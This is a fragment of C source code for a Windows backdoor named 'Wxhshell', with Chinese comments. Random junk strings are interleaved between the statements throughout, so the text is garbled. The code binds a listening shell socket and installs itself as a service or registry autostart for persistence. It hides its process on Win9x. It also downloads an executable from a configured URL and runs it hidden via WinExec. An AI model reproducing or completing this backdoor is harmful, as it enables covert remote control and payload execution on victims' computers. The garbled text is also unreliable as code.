LI& if(!hProcess) return 0; mj9|q8v{+ ?n<sN" if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B'Nvl# bil>;&h CloseHandle(hProcess); 0o6r3xc; yYC\a7Al4 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); $~EY: if(hProcess==NULL) return 0; Yk4ah$}%-^ +SRM?av HMODULE hMod; e?aSM char procName[255]; m5LP~Gb
unsigned long cbNeeded; _hLM\L Hp":r%) if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); NLF{W|X Z;i^h,j?$1 CloseHandle(hProcess); G";yqG G\IH
b
| if(strstr(procName,"services")) return 1; // 以服务启动 8DLMxG
n/UyMO3= return 0; // 注册表启动 _W*3FH } ,[^P X;p,Wq#D' // 主模块 4//Ww6W: int StartWxhshell(LPSTR lpCmdLine) i@_|18F]` { (85F1"Jp SOCKET wsl; rYq8OZLi BOOL val=TRUE; 4aZsz,= int port=0; `^afbW struct sockaddr_in door; c-avX G(4:yK0 if(wscfg.ws_autoins) Install(); ^ yu^Du &ze'V
, : port=atoi(lpCmdLine); 4- 6' OY`G _=6!N if(port<=0) port=wscfg.ws_port; D9c8#k9Y. -acW[$t WSADATA data; <<&:BK if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TiF$',WMv +V7*vlx- if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Ctt{j'-[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %r~TMU2" door.sin_family = AF_INET; K#F~$k|1B door.sin_addr.s_addr = inet_addr("127.0.0.1"); mKnkHGM door.sin_port = htons(port); WFN5&7$ W T?7ZF+yo6 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NRq
jn; ,+ closesocket(wsl); KY"W{D9ib return 1; Gz~P
0Z^w} } w},k~5U^s 18ci-W#p if(listen(wsl,2) == INVALID_SOCKET) { rmR7^Ycv/ closesocket(wsl); %qfEFhRC return 1; >48zRi\N } I#S6k%-' Wxhshell(wsl); 0Km{fZYq7; WSACleanup(); @ZK|k ]rHdG^0uss return 0; jr@<-. U4zyhj } T92k"fBY ZZFa<AK4 // 以NT服务方式启动 W/{HZ< :. VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +l&ZN\@0X { WZ"x\K-; DWORD status = 0; r#3_F=xL5 DWORD specificError = 0xfffffff; m]Z&
.,bA LfrS:g serviceStatus.dwServiceType = SERVICE_WIN32; &HZ"<y{j serviceStatus.dwCurrentState = SERVICE_START_PENDING; |' mgo serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W)w@ju$Ko serviceStatus.dwWin32ExitCode = 0; c<-_Vh.:5 serviceStatus.dwServiceSpecificExitCode = 0; 0ltq~K serviceStatus.dwCheckPoint = 0; ?OvtR:h C serviceStatus.dwWaitHint = 0; LYavth`@h Eh0R0;l5> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *wyaBV?*K if (hServiceStatusHandle==0) return; J0lTp / =JNoC01D status = GetLastError(); )MW.Y if (status!=NO_ERROR) :)?w2'O { ],&WA?>G serviceStatus.dwCurrentState = SERVICE_STOPPED; |ay W _5} serviceStatus.dwCheckPoint = 0; e [3sWv serviceStatus.dwWaitHint = 0; pz@_%IUS serviceStatus.dwWin32ExitCode = status; y$#mk3(e~t serviceStatus.dwServiceSpecificExitCode = specificError; p?=rQte([ SetServiceStatus(hServiceStatusHandle, &serviceStatus); Nm:nSqc return; -&D~TL# } do7 [Nj 8GV$L~i serviceStatus.dwCurrentState = SERVICE_RUNNING; 70a7}C\/o serviceStatus.dwCheckPoint = 0;
"+r8izB serviceStatus.dwWaitHint = 0; .0cm
mpUNq if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wp-*S}TT } -GDX#A-J X]tjT // 处理NT服务事件,比如:启动、停止 _)zSjFX9 VOID WINAPI NTServiceHandler(DWORD fdwControl) HpuHJ#l
{ X@5!I+u\L switch(fdwControl) @q],pD { 4 )*8& case SERVICE_CONTROL_STOP: W(1p0|WQ: serviceStatus.dwWin32ExitCode = 0; ;:hyW,J serviceStatus.dwCurrentState = SERVICE_STOPPED; 6#K1LY5 } serviceStatus.dwCheckPoint = 0; Y)g7
E" serviceStatus.dwWaitHint = 0; ?o"wyF A* { N3TkRJZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); j{0_K+B } `<8~tS/. w return; '|G_C%,B case SERVICE_CONTROL_PAUSE: }aRV)F serviceStatus.dwCurrentState = SERVICE_PAUSED; Se%FqI break; P'KaW u9z case SERVICE_CONTROL_CONTINUE: gk"S`1> serviceStatus.dwCurrentState = SERVICE_RUNNING; Uz>5!_ break; /KO!s,Nk case SERVICE_CONTROL_INTERROGATE: "gfy6m break; 'bN\bbR }; 6I.N:)= SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7,d^?.~S } #%il+3J tMad
2,: // 标准应用程序主函数 x;#
OM int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B)Hs>Mh|W {
4^1{UlCop - (VV // 获取操作系统版本 |qE"60&"} OsIsNt=GetOsVer(); )**k3u
t4 GetModuleFileName(NULL,ExeFile,MAX_PATH); l[.*X &kB[jz_[A // 从命令行安装 p{"p<XFyO if(strpbrk(lpCmdLine,"iI")) Install(); 2fT't"gw NDm@\<MIzB // 下载执行文件 LS{g=3P0 if(wscfg.ws_downexe) { WLV'@$ <|( if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yK+76\} I WinExec(wscfg.ws_filenam,SW_HIDE); =3?t%l;n } t48(, i,NN" if(!OsIsNt) { N'+d1 // 如果时win9x,隐藏进程并且设置为注册表启动 zO<EbqNe! HideProc(); $NJ]2P9L StartWxhshell(lpCmdLine); iOm~ }
.7ESPr else 2-ev7: if(StartFromService()) mHE4Es0 // 以服务方式启动 Z~F% K~( StartServiceCtrlDispatcher(DispatchTable); T
{a%:=` else c>{6NSS - // 普通方式启动 yb1A(~ StartWxhshell(lpCmdLine); [3>l^Q|# 6|r`
k75. return 0; :
FF:{&d }
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